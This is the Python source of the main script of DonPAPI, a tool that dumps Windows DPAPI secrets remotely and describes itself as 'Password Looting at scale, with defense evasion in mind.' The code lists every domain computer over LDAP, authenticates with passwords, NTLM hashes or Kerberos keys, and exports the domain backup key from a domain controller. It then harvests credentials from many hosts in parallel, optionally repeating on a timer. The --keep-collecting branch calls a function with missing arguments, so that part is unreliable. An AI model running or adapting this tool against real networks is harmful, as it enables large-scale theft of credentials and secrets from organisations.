459 lines
22 KiB
Python
459 lines
22 KiB
Python
#!/usr/bin/env python
|
|
# coding:utf-8
|
|
#
|
|
# This software is provided under under a slightly modified version
|
|
# of the Apache Software License. See the accompanying LICENSE file
|
|
# for more information.
|
|
#
|
|
# Description: Dump DPAPI secrets remotely
|
|
#
|
|
# Author:
|
|
# PA Vandewoestyne
|
|
# Credits :
|
|
# Alberto Solino (@agsolino)
|
|
# Benjamin Delpy (@gentilkiwi) for most of the DPAPI research (always greatly commented - <3 your code)
|
|
# Alesandro Z (@) & everyone who worked on Lazagne (https://github.com/AlessandroZ/LaZagne/wiki) for the VNC & Firefox modules, and most likely for a lots of other ones in the futur.
|
|
# dirkjanm @dirkjanm for the base code of adconnect dump (https://github.com/fox-it/adconnectdump) & every research he ever did. i learned so much on so many subjects thanks to you. <3
|
|
# @Byt3bl3d33r for CME (lots of inspiration and code comes from CME : https://github.com/byt3bl33d3r/CrackMapExec )
|
|
# All the Team of @LoginSecurite for their help in debugging my shity code (special thanks to @layno & @HackAndDo for that)
|
|
|
|
import argparse
|
|
import asyncio
|
|
from concurrent.futures import ThreadPoolExecutor, as_completed
|
|
import copy
|
|
import logging
|
|
import os
|
|
import sys
|
|
from rich.progress import Progress
|
|
import importlib.metadata
|
|
from time import sleep
|
|
|
|
from donpapi.lib.config import DonPAPIConfig, parse_config_file
|
|
from donpapi.lib.database import Database, create_db_engine
|
|
from donpapi.lib.paths import DPP_DB_FILE, DPP_LOG_FILE, DPP_PATH
|
|
from donpapi.core import DonPAPICore
|
|
from donpapi.lib.first_run import first_run, init_output_dir
|
|
from donpapi.lib.utils import create_recover_file, load_recover_file, parse_credentials_files, parse_targets, update_recover_file
|
|
from donpapi.lib.logger import donpapi_logger, donpapi_console
|
|
|
|
from pkgutil import iter_modules
|
|
from importlib import import_module
|
|
from typing import List, Tuple
|
|
|
|
|
|
def set_main_logger(logger , host = "\U0001F480"):
|
|
logger.extra = {
|
|
"host": host,
|
|
"hostname": "",
|
|
}
|
|
|
|
def load_collectors(root, collectors_list) -> Tuple[List, List] :
|
|
loaded_collectors = []
|
|
available_collectors = []
|
|
for _, collector_name, _ in iter_modules(path=[f"{root}/collectors/"]):
|
|
available_collectors.append(collector_name)
|
|
if "All" in collectors_list:
|
|
loaded_collectors.append(getattr(import_module(f"donpapi.collectors.{collector_name}"), collector_name))
|
|
else:
|
|
if collector_name in collectors_list:
|
|
loaded_collectors.append(getattr(import_module(f"donpapi.collectors.{collector_name}"), collector_name))
|
|
return available_collectors, loaded_collectors
|
|
|
|
def fetch_all_computers(options):
|
|
from impacket.ldap import ldap, ldapasn1
|
|
|
|
set_main_logger(donpapi_logger, options.domain)
|
|
donpapi_logger.display(f"Collecting every hostnames from {options.domain}")
|
|
results = None
|
|
hostnames = []
|
|
ldap_filter = "(objectCategory=computer)"
|
|
attributes = [
|
|
"name",
|
|
]
|
|
|
|
dc_hostname = None
|
|
base_dn = None
|
|
|
|
try:
|
|
ldap_url = f"ldap://{options.domain}"
|
|
donpapi_logger.verbose(f"Connecting to {ldap_url} with no baseDN")
|
|
ldap_connection = ldap.LDAPConnection(ldap_url, dstIp=options.dc_ip)
|
|
resp = ldap_connection.search(
|
|
scope=ldapasn1.Scope("baseObject"),
|
|
attributes=["defaultNamingContext", "dnsHostName"],
|
|
sizeLimit=0,
|
|
)
|
|
for item in resp:
|
|
if isinstance(item, ldapasn1.SearchResultEntry) is not True:
|
|
continue
|
|
|
|
for attribute in item["attributes"]:
|
|
if str(attribute["type"]) == "defaultNamingContext":
|
|
base_dn = str(attribute["vals"][0])
|
|
if str(attribute["type"]) == "dnsHostName":
|
|
dc_hostname = str(attribute["vals"][0])
|
|
except Exception as e:
|
|
donpapi_logger.error(f"Exception while getting ldap info: {e}")
|
|
|
|
try:
|
|
ldap_url = f"ldap://{dc_hostname}"
|
|
ldap_connection = ldap.LDAPConnection(ldap_url, base_dn, dstIp=options.dc_ip)
|
|
if options.k or options.aesKey:
|
|
# Kerberos connection
|
|
ldap_connection.kerberosLogin(
|
|
options.username if options.username is not None else "",
|
|
options.password if options.password is not None else "",
|
|
options.domain ,
|
|
options.lmhash if options.lmhash is not None else "",
|
|
options.nthash if options.nthash is not None else "",
|
|
options.aesKey if options.aesKey is not None else "",
|
|
useCache=options.k,
|
|
kdcHost=options.dc_ip
|
|
)
|
|
else:
|
|
# NTLM connection
|
|
ldap_connection.login(
|
|
options.username,
|
|
options.password,
|
|
options.domain,
|
|
options.lmhash,
|
|
options.nthash,
|
|
)
|
|
|
|
paged_search_control = ldapasn1.SimplePagedResultsControl(criticality=True, size=1000)
|
|
|
|
results = ldap_connection.search(
|
|
searchFilter=ldap_filter,
|
|
attributes=attributes,
|
|
searchControls=[paged_search_control],
|
|
)
|
|
except Exception as e:
|
|
donpapi_logger.error(f"Exception while requesting targets: {e}")
|
|
import traceback
|
|
traceback.print_exc()
|
|
if results is None:
|
|
donpapi_logger.error("Could not get hostnames from LDAP")
|
|
return []
|
|
results = [r for r in results if isinstance(r, ldapasn1.SearchResultEntry)]
|
|
for computer in results:
|
|
values = {str(attr["type"]).lower(): attr["vals"][0] for attr in computer["attributes"]}
|
|
hostnames.append(f"{values['name']}.{options.domain}")
|
|
donpapi_logger.verbose(f"Got {len(hostnames)} targets in {options.domain}")
|
|
return hostnames
|
|
|
|
def fetch_domain_backupkey(options, db: Database):
|
|
pvkbytes = None
|
|
set_main_logger(donpapi_logger, options.domain)
|
|
results = db.get_domain_backupkey(options.domain)
|
|
if len(results) > 0:
|
|
donpapi_logger.display(f"Loading {options.domain} domain backupkey from database...")
|
|
pvkbytes = results[0][2]
|
|
else:
|
|
from dploot.lib.target import Target
|
|
from dploot.lib.smb import DPLootSMBConnection
|
|
from dploot.triage.backupkey import BackupkeyTriage
|
|
try:
|
|
dc_target = Target.create(
|
|
domain=options.domain,
|
|
username=options.username if options.username is not None else "",
|
|
password=options.password,
|
|
target=options.domain if options.domain != "" else options.dc_ip,
|
|
lmhash=options.lmhash,
|
|
nthash=options.nthash,
|
|
do_kerberos=options.k,
|
|
no_pass=True,
|
|
aesKey=options.aesKey,
|
|
use_kcache=options.aesKey or options.k,
|
|
)
|
|
|
|
dc_conn = DPLootSMBConnection(dc_target)
|
|
dc_conn.connect() # Connect to DC
|
|
|
|
if dc_conn.is_admin():
|
|
donpapi_logger.display(f"Exporting domain backup key from {dc_conn.smb_session.getServerName()}.{dc_conn.smb_session.getRemoteHost()}")
|
|
backupkey_triage = BackupkeyTriage(target=dc_target, conn=dc_conn)
|
|
backupkey = backupkey_triage.triage_backupkey()
|
|
pvkbytes = backupkey.backupkey_v2
|
|
db.add_domain_backupkey(options.domain, pvkbytes)
|
|
donpapi_logger.display(f"Successfully dumped domain backup key from {dc_conn.smb_session.getServerName()}.{dc_conn.smb_session.getRemoteHost()}")
|
|
else:
|
|
donpapi_logger.error("Insufficient privileges: could not export domain backup key")
|
|
except Exception as e:
|
|
donpapi_logger.error(f"Could not get domain backupkey: {e}")
|
|
donpapi_logger.extra = None
|
|
set_main_logger(donpapi_logger)
|
|
return pvkbytes
|
|
|
|
def main():
|
|
root = os.path.dirname(os.path.realpath(__file__))
|
|
version = importlib.metadata.version("donpapi")
|
|
parser = argparse.ArgumentParser(add_help = True, description = f"Password Looting at scale, with defense evasion in mind.\nVersion: {version}")
|
|
|
|
parser.add_argument("-v", action="count", default=0, help="Verbosity level (-v or -vv)")
|
|
parser.add_argument('-o', '--output-directory', action="store", metavar="DIRNAME", help='Output directory. Default is ~/.donpapi/loot/')
|
|
|
|
subparsers = parser.add_subparsers(help="DonPAPI Action", dest="action", required=True)
|
|
collect_subparser = subparsers.add_parser("collect", help="Dump secrets on a target list")
|
|
collect_subparser.add_argument("--keep-collecting", type=int, action="store", metavar="seconds", help="Rerun the attack against all targets after X seconds, X being the value")
|
|
collect_subparser.add_argument("--threads", default=50, type=int, metavar="Number of threads", help="Number of threads (default: 50)")
|
|
collect_subparser.add_argument('--no-config', action="store_true", help="Do not load donpapi config file (~/.donpapi/donpapi.conf)")
|
|
|
|
group_authent = collect_subparser.add_argument_group("authentication")
|
|
|
|
group_authent.add_argument("-t", "--target", nargs="+", type=str, help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, ALL to fetch every computer hostnames from LDAP")
|
|
group_authent.add_argument("-d", "--domain", metavar="domain.local", dest="domain", action="store", help="Domain")
|
|
group_authent.add_argument("-u", "--username", metavar="username", dest="username", action="store", help="Username")
|
|
group_authent.add_argument("-p", "--password", metavar="password", dest="password", action="store", help="Password")
|
|
group_authent.add_argument("-H","--hashes", metavar="LMHASH:NTHASH", dest="hashes", action="store", help="NTLM hashes, format is LMHASH:NTHASH")
|
|
group_authent.add_argument("--no-pass", action="store_true", help="don\'t ask for password (useful for -k)")
|
|
group_authent.add_argument("-k", action="store_true", help="Use Kerberos authentication. Grabs credentials from ccache file "
|
|
"(KRB5CCNAME) based on target parameters. If valid credentials "
|
|
"cannot be found, it will use the ones specified in the command line")
|
|
group_authent.add_argument("--aesKey", action="store", metavar = "hex key", help="AES key to use for Kerberos Authentication (1128 or 256 bits)")
|
|
group_authent.add_argument("--laps", action="store", metavar = "Administrator", help="use LAPS to request local admin password. The laps parameter value is the local admin account use to connect", default=False)
|
|
group_authent.add_argument("--dc-ip", action="store", metavar="IP address", help="IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter")
|
|
group_authent.add_argument("-r", "--recover-file", metavar="/home/user/.donpapi/recover/recover_1718281433", type=str, help="The recover file path. If used, the other parameters will be ignored")
|
|
|
|
group_attacks = collect_subparser.add_argument_group('attacks')
|
|
group_attacks.add_argument('-c','--collectors', action="store", default="All", help= ", ".join(load_collectors(root, [])[0])+", All (all previous) (default: All). Possible to chain multiple collectors comma separated")
|
|
group_attacks.add_argument("-nr","--no-remoteops", action="store_true", help="Disable Remote Ops operations (basically no Remote Registry operations, no DPAPI System Credentials)")
|
|
group_attacks.add_argument("--fetch-pvk", action="store_true", help=("Will automatically use domain backup key from database, and if not already dumped, will dump it on a domain controller"))
|
|
group_attacks.add_argument("--pvkfile", action="store", help=("Pvk file with domain backup key"))
|
|
group_attacks.add_argument("--pwdfile", action="store", help=("File containing username:password that will be used eventually to decrypt masterkeys"))
|
|
group_attacks.add_argument("--ntfile",action="store",help=("File containing username:nthash that will be used eventually to decrypt masterkeys"))
|
|
group_attacks.add_argument("--mkfile", action="store", help=("File containing {GUID}:SHA1 masterkeys mappings"))
|
|
|
|
gui_subparser = subparsers.add_parser("gui", help="Spawn a Flask webserver to crawl DonPAPI database")
|
|
gui_subparser.add_argument('--bind', type=str, action='store', help='HTTP Server bind address (default=127.0.0.1)', default="127.0.0.1")
|
|
gui_subparser.add_argument('--port', type=int, action='store', help='HTTP Server port (default=8088)', default=8088)
|
|
gui_subparser.add_argument('--ssl', action='store_true', help='Use an encrypted connection')
|
|
gui_subparser.add_argument('--basic-auth', action='store', metavar="user:password", help='Set up a basic auth')
|
|
|
|
|
|
set_main_logger(donpapi_logger)
|
|
|
|
# Stores the list of false positives usernames:
|
|
false_positivee = [
|
|
".",
|
|
"..",
|
|
"desktop.ini",
|
|
"Public",
|
|
"Default",
|
|
"Default User",
|
|
"All Users",
|
|
".NET v4.5",
|
|
".NET v4.5 Classic"
|
|
]
|
|
# Stores the maximum filesize
|
|
max_filesize = 5000000
|
|
|
|
# Parse args
|
|
if len(sys.argv)==1:
|
|
parser.print_help()
|
|
sys.exit(1)
|
|
|
|
options = parser.parse_args()
|
|
|
|
# Init Logger
|
|
if options.v == 1:
|
|
donpapi_logger.logger.setLevel(logging.INFO)
|
|
elif options.v >= 2:
|
|
donpapi_logger.logger.setLevel(logging.DEBUG)
|
|
else:
|
|
donpapi_logger.logger.setLevel(logging.ERROR)
|
|
|
|
# Is it the first time you launch Donpapi?
|
|
first_run()
|
|
|
|
# Using custom folder ?
|
|
output_dir = DPP_PATH
|
|
if options.output_directory is not None:
|
|
output_dir = os.path.expanduser(options.output_directory)
|
|
|
|
init_output_dir(output_dir)
|
|
|
|
donpapi_logger.add_file_log(os.path.join(output_dir, DPP_LOG_FILE))
|
|
donpapi_logger.display(f"DonPAPI Version {version}")
|
|
donpapi_logger.display(f"Output directory at {output_dir}")
|
|
|
|
# Load DB
|
|
db_engine = create_db_engine(os.path.join(output_dir,DPP_DB_FILE))
|
|
db = Database(db_engine)
|
|
|
|
if options.action == "collect":
|
|
|
|
# Handle recover file
|
|
current_target_recovered = []
|
|
|
|
if options.recover_file is not None:
|
|
donpapi_logger.display(f"Using recover file {options.recover_file}")
|
|
|
|
options_recovered, target_recovered = load_recover_file(recover_file_path=options.recover_file)
|
|
options = argparse.Namespace(**options_recovered)
|
|
current_target_recovered = target_recovered
|
|
|
|
# Handle account
|
|
if options.domain is None:
|
|
options.domain = ''
|
|
|
|
if (options.password == "" or options.password is None) and (options.username != "" and options.username is not None) and options.hashes is None and options.no_pass is False and options.aesKey is None:
|
|
from getpass import getpass
|
|
options.password = getpass("Password:")
|
|
|
|
if options.aesKey is not None:
|
|
options.k = True
|
|
if options.hashes is not None:
|
|
if ':' in options.hashes:
|
|
options.lmhash, options.nthash = options.hashes.split(':')
|
|
else:
|
|
options.lmhash = 'aad3b435b51404eeaad3b435b51404ee'
|
|
options.nthash = options.hashes
|
|
else:
|
|
options.lmhash = ''
|
|
options.nthash = ''
|
|
|
|
# Load files to decrypt maskerkeys
|
|
pvkbytes, passwords, nthashes, masterkeys = parse_credentials_files(
|
|
pvkfile=options.pvkfile,
|
|
passwords_file=options.pwdfile,
|
|
nthashes_file=options.ntfile,
|
|
masterkeys_file=options.mkfile,
|
|
username=options.username,
|
|
password=options.password,
|
|
nthash=options.nthash)
|
|
|
|
# Need to download Domain Backup Key?
|
|
if options.fetch_pvk:
|
|
if options.domain == "" or options.dc_ip is None:
|
|
donpapi_logger.error("--domain and --dc-ip is required with -fetch-pvk")
|
|
return
|
|
pvkbytes = fetch_domain_backupkey(options, db)
|
|
|
|
# Handling collectors
|
|
_, collectors = load_collectors(root, options.collectors.split(","))
|
|
|
|
# Target selection
|
|
targets = []
|
|
if hasattr(options, "target") and options.target:
|
|
for target in options.target:
|
|
if target == "ALL":
|
|
# Target every computers from domain
|
|
if hasattr(options, "domain") and options.domain != "":
|
|
targets.extend(fetch_all_computers(options))
|
|
else:
|
|
donpapi_logger.error("--domain required with --target ALL")
|
|
return
|
|
else:
|
|
if os.path.exists(target) and os.path.isfile(target):
|
|
with open(target) as target_file:
|
|
for target_entry in target_file:
|
|
targets.extend(parse_targets(target_entry.strip()))
|
|
else:
|
|
targets.extend(parse_targets(target))
|
|
|
|
if len(targets) <= 0:
|
|
donpapi_logger.error("No target loaded. Exiting.")
|
|
return
|
|
else:
|
|
donpapi_logger.display("Loaded {i} targets".format(i=len(targets)))
|
|
donpapi_logger.debug(f"Targets :{targets}")
|
|
|
|
# Parse config file ?
|
|
donpapi_config = DonPAPIConfig()
|
|
if not options.no_config:
|
|
donpapi_config = parse_config_file()
|
|
|
|
# Let's rock
|
|
try:
|
|
asyncio.run(start_dpp(
|
|
options,
|
|
db,
|
|
targets,
|
|
current_target_recovered,
|
|
collectors,
|
|
pvkbytes,
|
|
passwords,
|
|
nthashes,
|
|
masterkeys,
|
|
donpapi_config,
|
|
false_positivee,
|
|
max_filesize,
|
|
output_dir
|
|
)
|
|
)
|
|
except Exception as e:
|
|
if logging.getLogger().level == logging.DEBUG:
|
|
import traceback
|
|
traceback.print_exc()
|
|
donpapi_logger.error(str(e))
|
|
finally:
|
|
db_engine.dispose()
|
|
elif options.action == "gui":
|
|
donpapi_logger.display("Initiating DonPAPI GUI")
|
|
from donpapi.server import start_gui
|
|
start_gui(
|
|
options=options,
|
|
db_engine=db_engine,
|
|
db=db
|
|
)
|
|
else:
|
|
donpapi_logger.error(f"Unknown action {options.action}")
|
|
|
|
async def start_dpp(options, db, targets, current_target_recovered, collectors, pvkbytes, passwords, nthashes, masterkeys, donpapi_config, false_positive, max_size, output_dir):
|
|
with ThreadPoolExecutor(max_workers=options.threads) as executor, Progress(console=donpapi_console) as progress:
|
|
task = progress.add_task(f"[red][bold]DonPAPI running against {len(targets)} targets", total=len(targets))
|
|
if len(current_target_recovered) > 0:
|
|
progress.update(task, completed=len(targets)-len(current_target_recovered))
|
|
if options.keep_collecting:
|
|
while 1:
|
|
targets_for_round = copy.deepcopy(targets)
|
|
create_dpp_thread(options, db, targets_for_round, current_target_recovered, collectors, pvkbytes, passwords, nthashes, masterkeys, donpapi_config, output_dir, progress, task, executor)
|
|
donpapi_logger.verbose(f"DonPAPI finished for {len(targets)} targets. Sleeping {options.keep_collecting} seconds now before rerunning the attack")
|
|
sleep(options.keep_collecting)
|
|
else:
|
|
create_dpp_thread(options, db, targets, current_target_recovered, collectors, pvkbytes, passwords, nthashes, masterkeys, donpapi_config, false_positive, max_size, output_dir, progress, task, executor)
|
|
donpapi_logger.verbose(f"DonPAPI finished for {len(targets)} targets.")
|
|
|
|
|
|
def create_dpp_thread(options, db, targets, current_target_recovered, collectors, pvkbytes, passwords, nthashes, masterkeys, donpapi_config, false_positive, max_size, output_dir, progress_bar, task, executor):
|
|
# Recover file
|
|
progress_bar.update(task, completed=0 if len(current_target_recovered) == 0 else len(targets) - len(current_target_recovered))
|
|
current_targets = copy.deepcopy(targets)
|
|
if len(current_target_recovered) > 0:
|
|
# finishing targets
|
|
current_targets = current_target_recovered
|
|
recover_filename = create_recover_file(targets=targets, dirpath=output_dir, options=options)
|
|
donpapi_logger.display(f"Recover file available at {recover_filename}")
|
|
try:
|
|
with open(recover_filename,"r+") as recover_file_handle:
|
|
future = [executor.submit(core_run,(options, db, target, collectors, pvkbytes, passwords, nthashes, masterkeys, donpapi_config, false_positive, max_size, output_dir)) for target in targets]
|
|
for i in as_completed(future):
|
|
target_finished = i.result()
|
|
current_targets.remove(target_finished)
|
|
update_recover_file(recover_file_handle, current_targets)
|
|
progress_bar.update(task, advance=1)
|
|
except KeyboardInterrupt:
|
|
donpapi_logger.error("Caugth Keyboard Interrupt. Gracefully shutdown")
|
|
[thread.cancel() for thread in future]
|
|
executor.shutdown(wait=True)
|
|
except Exception as e:
|
|
if logging.getLogger().level == logging.DEBUG or True:
|
|
import traceback
|
|
traceback.print_exc()
|
|
donpapi_logger.error(str(e))
|
|
|
|
def core_run(datas):
|
|
options, db, target, collectors, pvkbytes, passwords, nthashes, masterkeys, donpapi_config, false_positive, max_size, output_dir = datas
|
|
donpapi_logger.debug(f"SeatBelt thread for {target} started")
|
|
try:
|
|
_ = DonPAPICore(options, db, target, collectors, pvkbytes, passwords, nthashes, masterkeys, donpapi_config, false_positive, max_size, output_dir)
|
|
except Exception as e:
|
|
if logging.getLogger().level == logging.DEBUG or True:
|
|
import traceback
|
|
traceback.print_exc()
|
|
donpapi_logger.error(str(e))
|
|
return target
|
|
|
|
if __name__ == "__main__":
|
|
main()
|